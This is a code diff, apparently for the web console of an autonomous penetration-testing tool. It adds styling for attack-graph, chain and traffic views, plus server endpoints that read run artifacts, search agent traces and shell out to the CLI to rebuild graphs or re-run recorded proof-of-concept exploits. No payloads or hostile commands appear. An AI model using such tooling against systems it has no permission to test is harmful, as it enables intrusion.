.ap-canvas-wrap { position: relative; height: min(60dvh, 560px); min-height: 240px; border-radius: var(--radius-md); overflow: hidden; background: var(--surface-2); border: 1px solid var(--border); cursor: grab; touch-action: none; }
.ap-canvas-wrap.dragging { cursor: grabbing; }
.ap-canvas { display: block; width: 100%; height: 100%; }
.ap-canvas text { font-family: var(--sans); }
.ap-hint { position: absolute; right: 8px; bottom: 6px; font-size: var(--fs-2xs); color: var(--text-faint); pointer-events: none; }
.ap-col-line { stroke: var(--border); stroke-width: 1; }
.ap-col-name { font-size: var(--fs-2xs); fill: var(--text-faint); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; }
.ap-col-count { font-size: var(--fs-2xs); fill: var(--text-faint); font-family: var(--mono); }
.ap-node { fill: var(--surface); stroke-width: 1.6; }
.ap-root .ap-node { stroke: var(--accent); }
.ap-icon { font-size: var(--fs-base); }
.ap-title { font-size: var(--fs-xs); fill: var(--text); font-weight: 600; }
.ap-meta, .ap-conf { font-size: var(--fs-2xs); fill: var(--text-faint); font-family: var(--mono); }
.ap-node-g { cursor: pointer; }
.ap-node-g:hover .ap-node, .ap-node-g:focus-visible .ap-node { filter: brightness(1.04); stroke-width: 2.4; }
.ap-node-g:focus { outline: none; }
.ap-edge { stroke: var(--border-strong); stroke-width: 1.6; fill: none; }
.ap-edge marker, #apArrow path { fill: var(--border-strong); }
/* An inferred edge is a hypothesis about the path, not evidence of it. */
.ap-edge.inferred { stroke-dasharray: 5 4; opacity: .55; }
.ap-edge.root-edge { opacity: .35; }
.has-focus .ap-node-g:not(.focus) { opacity: .22; }
.has-focus .ap-edge:not(.focus) { opacity: .1; }
.ap-edge.focus { stroke: var(--accent); stroke-width: 2.2; opacity: 1; }
.ap-legend { display: flex; gap: var(--sp-4); flex-wrap: wrap; align-items: center; margin-top: var(--sp-2); font-size: var(--fs-xs); color: var(--text-faint); }
.ap-key { display: flex; align-items: center; gap: 5px; }
.ap-key i { width: 9px; height: 9px; border-radius: var(--radius-xs); display: inline-block; }
/* findings table */ /* findings table */
/* Wide tables scroll inside their own box; without this the whole page /* Wide tables scroll inside their own box; without this the whole page
@@ -769,7 +722,6 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
@media (max-height: 500px) and (orientation: landscape) { @media (max-height: 500px) and (orientation: landscape) {
.topbar, .run-head { padding-top: var(--sp-2); padding-bottom: var(--sp-2); min-height: 0; } .topbar, .run-head { padding-top: var(--sp-2); padding-bottom: var(--sp-2); min-height: 0; }
.term-dock { height: clamp(120px, 46dvh, 220px); } .term-dock { height: clamp(120px, 46dvh, 220px); }
.ap-canvas-wrap { height: 58dvh; min-height: 160px; }
.term-hints { display: none; } .term-hints { display: none; }
} }
@@ -823,3 +775,170 @@ body.resizing-ns { user-select: none; cursor: ns-resize; }
.agent-chip .spin { width: 7px; height: 7px; border: 1.5px solid currentColor; border-right-color: transparent; border-radius: 50%; display: inline-block; animation: aspin .7s linear infinite; } .agent-chip .spin { width: 7px; height: 7px; border: 1.5px solid currentColor; border-right-color: transparent; border-radius: 50%; display: inline-block; animation: aspin .7s linear infinite; }
@keyframes aspin { to { transform: rotate(360deg); } } @keyframes aspin { to { transform: rotate(360deg); } }
@media (prefers-reduced-motion: reduce) { .agent-chip .spin { animation: none; } } @media (prefers-reduced-motion: reduce) { .agent-chip .spin { animation: none; } }
/* ---------------------------------------------------------------------------
Run detail — attack graph, dependencies, traffic, traces, deliverables.
Ideas from autonomous-pentest consoles (KPI cards, typed node graph, traffic
table), built on this console's own tokens so both themes work.
------------------------------------------------------------------------- */
.muted { color: var(--text-faint); font-size: var(--fs-xs); }
.panel-toolbar { display: flex; align-items: center; gap: var(--sp-2); flex-wrap: wrap; margin-bottom: var(--sp-3); }
.panel-help { color: var(--text-dim); font-size: var(--fs-sm); margin: 0 0 var(--sp-3); max-width: 900px; }
.chip-row { display: flex; gap: var(--sp-2); flex-wrap: wrap; }
.input-sm { padding: 6px 10px; font-size: var(--fs-sm); border: 1px solid var(--border-strong); border-radius: var(--radius-sm); background: var(--surface); color: var(--text); }
.toggle { display: inline-flex; align-items: center; gap: 6px; font-size: var(--fs-sm); color: var(--text-dim); }
/* KPI cards above the findings table */
.kpi-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(170px, 1fr)); gap: var(--sp-3); margin: var(--sp-3) 0; }
.kpi { border: 1px solid var(--border); background: var(--surface); border-radius: var(--radius-md); padding: var(--sp-3) var(--sp-4); }
.kpi-k { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 600; }
.kpi-v { font-size: var(--fs-2xl); font-weight: 700; font-family: var(--mono); margin: 2px 0; }
.kpi-sub { font-size: var(--fs-xs); color: var(--text-dim); }
.kpi-ok .kpi-v { color: var(--sev-low-fg); }
.kpi-bad .kpi-v { color: var(--sev-critical-fg); }
/* status + wire badges in the findings table */
.status-badge, .wire-badge, .chain-status, .gm-st { display: inline-block; font-size: var(--fs-2xs); font-weight: 600; padding: 2px 7px; border-radius: var(--radius-pill); border: 1px solid transparent; white-space: nowrap; }
.st-confirmed { background: var(--sev-low-bg); color: var(--sev-low-fg); }
.st-needs-review, .st-needs_review { background: var(--sev-info-bg); color: var(--sev-info-fg); }
.st-needs_validation { background: var(--sev-medium-bg); color: var(--sev-medium-fg); }
.st-hypothesis, .st-candidate { background: var(--surface-3); color: var(--text-dim); }
.st-rejected { background: var(--sev-critical-bg); color: var(--sev-critical-fg); }
.wire-verified { background: var(--sev-low-bg); color: var(--sev-low-fg); }
.wire-contradicted { background: var(--sev-critical-bg); color: var(--sev-critical-fg); }
.wire-unverified, .wire-pending { background: var(--surface-3); color: var(--text-dim); }
.wire-none { background: transparent; color: var(--text-faint); border-color: var(--border); }
/* chains */
.moves { border: 1px solid var(--border); border-left: 3px solid var(--accent); background: var(--surface); border-radius: var(--radius-sm); padding: var(--sp-3) var(--sp-4); margin-bottom: var(--sp-3); }
.moves-h { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--accent); font-weight: 700; margin-bottom: 4px; }
.moves ul { margin: 0; padding-left: 18px; font-size: var(--fs-sm); color: var(--text-dim); }
.chain-list { display: flex; flex-direction: column; gap: var(--sp-2); }
.chain-card { border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); }
.chain-card.st-confirmed { border-left: 3px solid var(--sev-low-fg); }
.chain-card.st-needs_validation { border-left: 3px solid var(--sev-medium-fg); }
.chain-card.st-hypothesis { border-left: 3px dashed var(--border-strong); }
.chain-card summary { display: flex; align-items: center; gap: var(--sp-2); padding: var(--sp-3) var(--sp-4); cursor: pointer; flex-wrap: wrap; list-style: none; }
.chain-card summary::-webkit-details-marker { display: none; }
.chain-title { font-weight: 600; font-size: var(--fs-base); flex: 1; min-width: 260px; }
.chain-pot { font-size: var(--fs-xs); color: var(--sev-medium-fg); font-weight: 600; }
.chain-meta { font-size: var(--fs-xs); color: var(--text-faint); font-family: var(--mono); }
.chain-body { padding: 0 var(--sp-4) var(--sp-4); border-top: 1px solid var(--border); }
.chain-impact { margin: var(--sp-3) 0; font-size: var(--fs-sm); }
.chain-steps { margin: 0 0 var(--sp-3); padding-left: 20px; font-family: var(--mono); font-size: var(--fs-xs); }
.chain-steps .step { padding: 3px 0; color: var(--text-dim); }
.chain-steps .step.st-confirmed { color: var(--sev-low-fg); background: none; }
.chain-steps .step.st-needs_validation { color: var(--sev-medium-fg); background: none; }
.chain-steps .step.st-hypothesis { color: var(--text-faint); background: none; }
.chain-block { margin-top: var(--sp-2); }
.chain-block-h { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .05em; color: var(--text-faint); font-weight: 700; }
.chain-block ul { margin: 4px 0 0; padding-left: 18px; font-size: var(--fs-sm); }
/* dependency todolist */
.todo-chain { border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); margin-bottom: var(--sp-3); }
.todo-chain header { display: flex; align-items: center; gap: var(--sp-2); padding: var(--sp-3) var(--sp-4); border-bottom: 1px solid var(--border); flex-wrap: wrap; }
.todo-title { font-weight: 600; flex: 1; min-width: 240px; }
.todo-progress { width: 110px; height: 6px; background: var(--surface-3); border-radius: var(--radius-pill); overflow: hidden; }
.todo-progress span { display: block; height: 100%; background: var(--sev-low-fg); }
.todo-steps { list-style: none; margin: 0; padding: var(--sp-2) var(--sp-4) var(--sp-3); counter-reset: ts; }
.todo-step { display: flex; gap: var(--sp-3); padding: var(--sp-2) 0; border-bottom: 1px dashed var(--border); align-items: flex-start; }
.todo-step:last-child { border-bottom: none; }
.ts-badge { flex: 0 0 120px; font-size: var(--fs-2xs); font-weight: 700; padding: 3px 8px; border-radius: var(--radius-pill); text-align: center; }
.ts-done .ts-badge { background: var(--sev-low-bg); color: var(--sev-low-fg); }
.ts-ready .ts-badge { background: var(--accent-soft); color: var(--accent); }
.ts-blocked .ts-badge { background: var(--surface-3); color: var(--text-faint); }
.ts-blocked .ts-step { color: var(--text-faint); }
.ts-step { font-family: var(--mono); font-size: var(--fs-xs); }
.ts-action { font-size: var(--fs-sm); color: var(--text-dim); margin-top: 2px; }
/* graph (web + internal network) */
.gm-wrap { position: relative; height: 640px; border: 1px solid var(--border); border-radius: var(--radius-md); overflow: hidden; cursor: grab;
background-color: var(--surface-2); background-image: radial-gradient(var(--border) 1px, transparent 1px); background-size: 18px 18px; }
.gm-wrap.dragging { cursor: grabbing; }
.gm-wrap[hidden] { display: none; }
.gm-stage { position: absolute; left: 0; top: 0; transform-origin: 0 0; }
.gm-svg { position: absolute; left: 0; top: 0; overflow: visible; pointer-events: none; }
.gm-e { fill: none; stroke-width: 1.4; opacity: .55; }
.gm-e.gm-trav { stroke-width: 2; opacity: .85; }
.gm-e.es-confirmed { stroke: var(--sev-low-fg); }
.gm-e.es-needs_validation { stroke: var(--sev-medium-fg); stroke-dasharray: 6 4; }
.gm-e.es-hypothesis { stroke: var(--text-faint); stroke-dasharray: 2 4; }
.gm-e.es-needs_review { stroke: var(--sev-info-fg); stroke-dasharray: 4 3; }
.gm-stage.focusing .gm-e { opacity: .12; }
.gm-stage.focusing .gm-e.hl { opacity: 1; stroke-width: 2.6; }
.gm-node { position: absolute; background: var(--surface); border: 1px solid var(--border-strong); border-left: 4px solid var(--border-strong); border-radius: var(--radius-sm); padding: 6px 8px; cursor: pointer; overflow: hidden; box-shadow: 0 1px 0 var(--border); }
.gm-node:hover { border-color: var(--text-dim); }
.gm-node.sel { outline: 2px solid var(--focus-ring); }
.gm-node-h { display: flex; align-items: center; gap: 5px; }
.gm-lbl { font-size: var(--fs-2xs); text-transform: uppercase; letter-spacing: .04em; font-weight: 700; color: var(--text-faint); }
.gm-node .sev { font-size: var(--fs-2xs); padding: 0 5px; }
.gm-crit { color: var(--sev-critical-fg); font-size: var(--fs-xs); }
.gm-node-t { font-size: var(--fs-xs); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; margin-top: 3px; }
.gk-asset { border-left-color: var(--sev-info-fg); }
.gk-surface { border-left-color: var(--text-faint); }
.gk-weak { border-left-color: var(--sev-high-fg); }
.gk-step { border-left-color: var(--accent); }
.gk-cred { border-left-color: var(--sev-medium-fg); }
.gk-impact { border-left-color: var(--sev-critical-fg); background: var(--sev-critical-bg); }
.gk-meta { border-left-color: var(--border); opacity: .8; }
.gm-leg { font-size: var(--fs-xs); padding: 3px 8px 3px 6px; border: 1px solid var(--border); border-left-width: 4px; border-radius: var(--radius-xs); background: var(--surface); color: var(--text-dim); }
.gm-leg-sep { width: 1px; height: 18px; background: var(--border); }
.gm-edge-leg { font-size: var(--fs-xs); color: var(--text-dim); display: inline-flex; align-items: center; gap: 6px; }
.gm-edge-leg::before { content: ""; width: 22px; border-top: 2px solid; }
.gm-edge-leg.es-confirmed::before { border-color: var(--sev-low-fg); }
.gm-edge-leg.es-needs_validation::before { border-color: var(--sev-medium-fg); border-top-style: dashed; }
.gm-edge-leg.es-hypothesis::before { border-color: var(--text-faint); border-top-style: dotted; }
.gm-zoom { position: absolute; left: 10px; bottom: 10px; display: flex; flex-direction: column; gap: 4px; }
.gm-detail { margin-top: var(--sp-3); border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); padding: var(--sp-3) var(--sp-4); }
.gm-detail header { display: flex; align-items: center; gap: var(--sp-2); justify-content: space-between; margin-bottom: var(--sp-2); }
.kv { border-collapse: collapse; font-size: var(--fs-xs); width: 100%; }
.kv th { text-align: left; color: var(--text-faint); font-weight: 600; padding: 2px var(--sp-3) 2px 0; width: 160px; vertical-align: top; }
.kv td { font-family: var(--mono); padding: 2px 0; word-break: break-all; }
/* traffic */
.method { font-family: var(--mono); font-size: var(--fs-2xs); font-weight: 700; border: 1px solid var(--border-strong); border-radius: var(--radius-xs); padding: 1px 6px; }
.tf { font-family: var(--mono); font-weight: 700; }
.tf-2 { color: var(--sev-low-fg); }
.tf-3 { color: var(--sev-info-fg); }
.tf-4 { color: var(--sev-medium-fg); }
.tf-5 { color: var(--sev-critical-fg); }
.tf-0 { color: var(--text-faint); }
/* traces */
.trace-layout { display: grid; grid-template-columns: 240px 1fr; gap: var(--sp-4); }
.trace-files { list-style: none; margin: 0; padding: 0; border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); max-height: 620px; overflow: auto; }
.trace-files li { display: flex; justify-content: space-between; gap: var(--sp-2); padding: 6px var(--sp-3); border-bottom: 1px solid var(--border); font-size: var(--fs-sm); }
.trace-files a { color: var(--text); text-decoration: none; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.trace-files a:hover { color: var(--accent); }
.trace-hits { display: flex; flex-direction: column; gap: 6px; font-size: var(--fs-sm); }
.trace-hit { border: 1px solid var(--border); border-radius: var(--radius-sm); background: var(--surface); padding: 6px var(--sp-3); }
.trace-hit a { font-weight: 600; color: var(--text); }
.trace-hit code { display: block; font-family: var(--mono); font-size: var(--fs-xs); color: var(--text-dim); margin-top: 3px; white-space: pre-wrap; word-break: break-all; }
.trace-hit mark { background: var(--accent-soft); color: var(--accent); }
@media (max-width: 760px) { .trace-layout { grid-template-columns: 1fr; } .gm-wrap { height: 460px; } }
/* deliverables */
.deliv-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: var(--sp-3); }
.deliv-card { display: flex; flex-direction: column; gap: 4px; border: 1px solid var(--border); border-radius: var(--radius-md); background: var(--surface); padding: var(--sp-3) var(--sp-4); text-decoration: none; color: var(--text); }
a.deliv-card:hover { border-color: var(--accent); }
.deliv-card span { font-size: var(--fs-sm); color: var(--text-dim); }
.deliv-card code { font-family: var(--mono); font-size: var(--fs-2xs); color: var(--text-faint); }
.deliv-group ul { margin: 4px 0 0; padding-left: 16px; font-size: var(--fs-xs); max-height: 160px; overflow: auto; }
/* CLI output dialog */
.out-pre { margin: 0; padding: var(--sp-4) var(--sp-5); font-family: var(--mono); font-size: var(--fs-xs); white-space: pre-wrap; word-break: break-word; overflow: auto; max-height: 60vh; background: var(--surface-2); }
.moves li { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; margin: 2px 0; }
.moves details summary { cursor: pointer; font-size: var(--fs-xs); color: var(--accent); margin-top: 4px; }
.gm-leg.gk-asset { border-left-color: var(--sev-info-fg); }
.gm-leg.gk-surface { border-left-color: var(--text-faint); }
.gm-leg.gk-weak { border-left-color: var(--sev-high-fg); }
.gm-leg.gk-step { border-left-color: var(--accent); }
.gm-leg.gk-cred { border-left-color: var(--sev-medium-fg); }
.gm-leg.gk-impact { border-left-color: var(--sev-critical-fg); background: var(--surface); }
.panel-toolbar .input-sm { width: 200px; flex: 0 0 auto; }
.panel-toolbar select.input-sm { width: 150px; }
.panel-toolbar .search-wrap { flex: 1 1 260px; max-width: 420px; }
.gm-detail header { justify-content: flex-start; }
.gm-detail header [data-close] { margin-left: auto; }
+135 -2
View File
@@ -556,7 +556,101 @@ async function runDetail(id) {
const assets = ['report.html', 'report.pdf', 'report.md', 'recon.md', 'exploitation.md', 'audit.jsonl', 'graph.json'] const assets = ['report.html', 'report.pdf', 'report.md', 'recon.md', 'exploitation.md', 'audit.jsonl', 'graph.json']
.filter((f) => fs.existsSync(path.join(dir, f))); .filter((f) => fs.existsSync(path.join(dir, f)));
const pocs = await fsp.readdir(path.join(dir, 'pocs')).catch(() => []); const pocs = await fsp.readdir(path.join(dir, 'pocs')).catch(() => []);
return { id, name: engagementNames.get(id) || '', meta, status, findings, assets, pocs }; // What the harness produced beyond the report: the attack graph, the shared
// traces, the recorded traffic, the deliverables. Presence only — the tabs
// fetch the content on demand.
const exists = (f) => fs.existsSync(path.join(dir, f));
const traces = await fsp.readdir(path.join(dir, 'traces')).catch(() => []);
const extras = {
graph: exists('graph/chains.json') || exists('graph/live-chains.json') || exists('graph/graph.json') || exists('graph/live.json'),
todo: exists('graph/todo.json'),
traces: traces.filter((f) => f.endsWith('.md')).length,
flows: exists('flows.jsonl'),
deliverables: await listTree(path.join(dir, 'deliverables'), 'deliverables'),
};
return { id, name: engagementNames.get(id) || '', meta, status, findings, assets, pocs, extras };
}
/// Relative file list under a directory (one level of nesting is enough for
/// `deliverables/`: tests/, nuclei/, detection/).
async function listTree(abs, rel, depth = 0) {
const out = [];
const ents = await fsp.readdir(abs, { withFileTypes: true }).catch(() => []);
for (const e of ents) {
if (e.isDirectory() && depth < 2) out.push(...await listTree(path.join(abs, e.name), `${rel}/${e.name}`, depth + 1));
else if (e.isFile()) out.push(`${rel}/${e.name}`);
}
return out.sort();
}
/// Run the real CLI against a run directory and capture its output. The web
/// console never re-implements harness logic — it shells out, like `rebuild`.
function runCli(args) {
return new Promise((resolve) => {
if (!BIN) return resolve({ code: -1, buf: 'neurosploit binary not found — run `cargo build --release` in neurosploit-rs/' });
const child = spawn(BIN, args, { cwd: ROOT, env: { ...process.env, ...envOverrides() } });
let buf = '';
child.stdout.on('data', (c) => { buf += c.toString('utf8'); });
child.stderr.on('data', (c) => { buf += c.toString('utf8'); });
child.on('close', (code) => resolve({ code, buf: stripAnsi(buf) }));
child.on('error', (e) => resolve({ code: -1, buf: e.message }));
});
}
/// The attack graph a run produced: chains, the dependency todolist and the
/// graph itself. Live files (written during the run) win while it runs.
async function runGraph(dir) {
const pick = async (...names) => {
for (const n of names) {
const v = await readJsonSafe(path.join(dir, n), null);
if (v) return v;
}
return null;
};
return {
chains: await pick('graph/live-chains.json', 'graph/chains.json'),
todo: await pick('graph/todo.json'),
graph: await pick('graph/live.json', 'graph/graph.json'),
};
}
/// The recording interceptor's log, filtered and paged.
async function runTraffic(dir, q) {
const text = await fsp.readFile(path.join(dir, 'flows.jsonl'), 'utf8').catch(() => '');
let rows = text.split('\n').filter(Boolean).map((l) => { try { return JSON.parse(l); } catch { return null; } }).filter(Boolean);
const hostOf = (u) => { try { return new URL(u).host; } catch { return String(u || '').split('/')[0]; } };
const hosts = [...new Set(rows.map((r) => hostOf(r.url)))].sort();
const host = (q.get('host') || '').trim().toLowerCase();
const method = (q.get('method') || '').trim().toUpperCase();
const needle = (q.get('q') || '').trim().toLowerCase();
if (host) rows = rows.filter((r) => hostOf(r.url).toLowerCase().includes(host));
if (method) rows = rows.filter((r) => (r.method || '').toUpperCase() === method);
if (needle) rows = rows.filter((r) => `${r.method} ${r.url} ${r.status} ${r.content_type}`.toLowerCase().includes(needle));
rows.reverse(); // newest first
const offset = Math.max(0, parseInt(q.get('offset') || '0', 10) || 0);
const limit = Math.min(500, Math.max(1, parseInt(q.get('limit') || '100', 10) || 100));
return { total: rows.length, hosts, rows: rows.slice(offset, offset + limit), offset, limit };
}
/// Search every agent's trace (the shared-trace store) for a keyword.
async function searchTraces(dir, needle) {
const tdir = path.join(dir, 'traces');
const files = (await fsp.readdir(tdir).catch(() => [])).filter((f) => f.endsWith('.md')).sort();
const list = [];
const hits = [];
const n = (needle || '').trim().toLowerCase();
for (const f of files) {
const text = await fsp.readFile(path.join(tdir, f), 'utf8').catch(() => '');
list.push({ agent: f.replace(/\.md$/, ''), file: `traces/${f}`, bytes: Buffer.byteLength(text) });
if (!n || hits.length >= 200) continue;
const lines = text.split('\n');
lines.forEach((line, i) => {
if (hits.length < 200 && line.toLowerCase().includes(n)) {
hits.push({ agent: f.replace(/\.md$/, ''), file: `traces/${f}`, line: i + 1, snippet: stripAnsi(line).slice(0, 300) });
}
});
}
return { traces: list, hits, query: needle || '' };
} }
function safeRunDir(id) { function safeRunDir(id) {
@@ -1190,7 +1284,8 @@ async function serveRunAsset(req, res, id, rest) {
const dir = safeRunDir(id); const dir = safeRunDir(id);
if (!dir) { res.writeHead(400); res.end(); return; } if (!dir) { res.writeHead(400); res.end(); return; }
const full = path.join(dir, rest); const full = path.join(dir, rest);
if (!full.startsWith(dir)) { res.writeHead(403); res.end(); return; } // Separator-aware: `ns-1` must not reach into `ns-10`.
if (full !== dir && !full.startsWith(dir + path.sep)) { res.writeHead(403); res.end(); return; }
try { try {
const data = await fsp.readFile(full); const data = await fsp.readFile(full);
const ext = path.extname(full); const ext = path.extname(full);
@@ -1449,6 +1544,44 @@ const server = http.createServer(async (req, res) => {
return; return;
} }
// ---- attack graph / traffic / traces (files the CLI wrote) ----
m = p.match(/^\/api\/runs\/([^/]+)\/graph$/);
if (m) {
const dir = safeRunDir(decodeURIComponent(m[1]));
if (!dir || !fs.existsSync(dir)) return sendJson(res, 404, { error: 'run not found' });
if (req.method === 'GET') return sendJson(res, 200, await runGraph(dir));
if (req.method === 'POST') {
// Recompute (and optionally push to Neo4j) through the CLI itself.
const body = await readBody(req);
const args = ['graph', dir, '--top', '0'];
if (body.push) args.push('--push');
const out = await runCli(args);
if (out.code !== 0) return sendJson(res, 502, { error: out.buf.trim() || 'graph failed' });
return sendJson(res, 200, { ok: true, output: out.buf.trim(), ...(await runGraph(dir)) });
}
}
m = p.match(/^\/api\/runs\/([^/]+)\/traffic$/);
if (req.method === 'GET' && m) {
const dir = safeRunDir(decodeURIComponent(m[1]));
if (!dir || !fs.existsSync(dir)) return sendJson(res, 404, { error: 'run not found' });
return sendJson(res, 200, await runTraffic(dir, u.searchParams));
}
m = p.match(/^\/api\/runs\/([^/]+)\/traces$/);
if (req.method === 'GET' && m) {
const dir = safeRunDir(decodeURIComponent(m[1]));
if (!dir || !fs.existsSync(dir)) return sendJson(res, 404, { error: 'run not found' });
return sendJson(res, 200, await searchTraces(dir, u.searchParams.get('q')));
}
// ---- PoC re-test (the CLI re-runs each finding's recorded proof) ----
m = p.match(/^\/api\/runs\/([^/]+)\/retest$/);
if (req.method === 'POST' && m) {
const dir = safeRunDir(decodeURIComponent(m[1]));
if (!dir || !fs.existsSync(dir)) return sendJson(res, 404, { error: 'run not found' });
const out = await runCli(['poc', dir]);
if (out.code !== 0) return sendJson(res, 502, { error: out.buf.trim() || 're-test failed' });
return sendJson(res, 200, { ok: true, output: out.buf.trim() });
}
// ---- report rebuild (generate/refresh the PDF for a finished run) ---- // ---- report rebuild (generate/refresh the PDF for a finished run) ----
m = p.match(/^\/api\/runs\/([^/]+)\/report$/); m = p.match(/^\/api\/runs\/([^/]+)\/report$/);
if (req.method === 'POST' && m) { if (req.method === 'POST' && m) {